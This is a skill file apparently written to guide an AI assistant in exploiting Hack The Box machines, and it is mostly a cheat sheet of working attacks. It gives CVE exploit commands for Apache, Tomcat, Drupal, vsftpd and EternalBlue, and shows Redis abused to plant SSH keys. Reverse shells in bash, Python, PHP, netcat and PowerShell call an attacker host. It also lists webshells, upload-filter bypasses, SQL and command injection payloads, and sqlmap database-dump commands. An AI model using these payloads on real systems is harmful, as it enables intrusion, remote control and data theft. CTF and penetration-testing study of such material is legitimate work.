common-exploits

name	Common Exploits
description	This skill should be used when the user asks about "searchsploit", "CVE exploits", "exploit database", "common vulnerabilities", "reverse shells", "webshells", or needs guidance on exploiting common vulnerabilities and services.
version	1.0.0

Common Exploits Skill

Overview

Reference for common exploits, CVEs, and attack techniques encountered in HTB machines.

Searchsploit

Basic Usage

# Search by name
searchsploit apache 2.4.49
searchsploit openssh 7.2
searchsploit vsftpd 2.3.4

# Search with filters
searchsploit -t apache  # Title only
searchsploit -e apache  # Exact match

# Copy exploit
searchsploit -m 12345  # Copy by ID
searchsploit -m exploits/linux/remote/12345.py

# Examine exploit
searchsploit -x 12345

# Update database
searchsploit -u

Web Application Exploits

Apache

Version	CVE	Vulnerability
2.4.49-50	CVE-2021-41773/42013	Path Traversal / RCE
mod_proxy	CVE-2021-40438	SSRF

CVE-2021-41773 (Path Traversal):

# Read files
curl 'http://<TARGET>/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'

# RCE (if mod_cgi enabled)
curl 'http://<TARGET>/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/bash' \
    -d 'echo; id'

Tomcat

Version	CVE	Vulnerability
< 9.0.31	CVE-2020-1938	Ghostcat (AJP)
7.0.0-7.0.79	CVE-2017-12615	PUT RCE

Ghostcat (AJP Port 8009):

# Read WEB-INF/web.xml
python ajpShooter.py http://<TARGET>:8080 8009 /WEB-INF/web.xml read

Tomcat Manager (if creds found):

# Deploy WAR backdoor
msfvenom -p java/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f war -o shell.war
curl -u 'tomcat:password' --upload-file shell.war http://<TARGET>/manager/text/deploy?path=/shell
curl http://<TARGET>/shell/

WordPress

# WPScan for vulnerabilities
wpscan --url http://<TARGET> -e vp,vt,u --api-token <TOKEN>

# Common vulnerable plugins (check version)
# - Contact Form 7
# - Elementor
# - WooCommerce
# - Yoast SEO

Drupal

Version	CVE	Vulnerability
7.x < 7.58	CVE-2018-7600	Drupalgeddon 2 (RCE)
8.x < 8.5.1	CVE-2018-7600	Drupalgeddon 2 (RCE)

Drupalgeddon 2:

# Use script from GitHub
python drupalgeddon2.py http://<TARGET>

Service Exploits

SSH

Version	CVE	Vulnerability
< 7.7	CVE-2018-15473	User Enumeration

User Enumeration:

python ssh_user_enum.py <TARGET> -u root

FTP

Service	Version	Vulnerability
vsftpd	2.3.4	Backdoor RCE
ProFTPD	1.3.5	mod_copy RCE

vsftpd 2.3.4 Backdoor:

# Trigger backdoor with :) in username
nc <TARGET> 21
USER test:)
PASS anything
# Connect to port 6200
nc <TARGET> 6200

SMB

Vulnerability	CVE	Affected
EternalBlue	MS17-010	Win7, Server 2008
SambaCry	CVE-2017-7494	Samba 3.5-4.5

EternalBlue:

# Check vulnerability
nmap --script smb-vuln-ms17-010 -p445 <TARGET>

# Exploit with Metasploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <TARGET>
run

Redis

# Check unauthenticated access
redis-cli -h <TARGET> INFO

# Write SSH key
redis-cli -h <TARGET>
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAA... user@attacker\n\n"
save

MongoDB

# Check unauthenticated access
mongo <TARGET>:27017

# List databases
show dbs
use admin
db.getUsers()

Reverse Shells

Bash

bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1

# Alternative
bash -c 'bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1'

Python

python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<ATTACKER>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

PHP

<?php passthru("/bin/bash -c 'bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1'"); ?>

Netcat

# With -e
nc -e /bin/bash <ATTACKER> 4444

# Without -e
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER> 4444 >/tmp/f

PowerShell

$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER>',4444)
$stream = $client.GetStream()
# ... (use revshells.com for full payload)

Resources

• RevShells.com: https://www.revshells.com/
• PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings

Webshells

PHP

<?php system($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>

ASP

<% eval request("cmd") %>

JSP

<% Runtime.getRuntime().run(request.getParameter("cmd")); %>

File Upload Bypass

Extension Bypass

.php → .php5, .phtml, .phar, .phps
.asp → .aspx, .ashx
.jsp → .jspx

# Double extension
shell.php.jpg
shell.jpg.php

# Null byte (older systems)
shell.php%00.jpg

Content-Type Bypass

Change: application/x-php
To: image/jpeg

Magic Bytes

# Add GIF header
echo "GIF89a" > shell.php
cat payload.php >> shell.php

SQL Injection

Testing

' OR 1=1--
" OR 1=1--
' OR '1'='1
admin'--

Union-Based

' UNION SELECT 1,2,3--
' UNION SELECT null,null,null--
' UNION SELECT username,password,null FROM users--

SQLMap

# GET parameter
sqlmap -u "http://<TARGET>/page?id=1" --batch

# POST request
sqlmap -u "http://<TARGET>/login" --data="user=test&pass=test" --batch

# Dump database
sqlmap -u "http://<TARGET>/page?id=1" --batch -D database -T users --dump

Command Injection

Payloads

; id
| id
|| id
& id
&& id
$(id)
`id`

Blind Detection

# Time-based
; sleep 5
| sleep 5
; ping -c 5 <ATTACKER>

Resources

Exploit Databases

• Exploit-DB: https://www.exploit-db.com/
• CVE Details: https://www.cvedetails.com/
• NVD: https://nvd.nist.gov/

Payload Collections

• PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
• HackTricks: https://book.hacktricks.xyz/
• RevShells: https://www.revshells.com/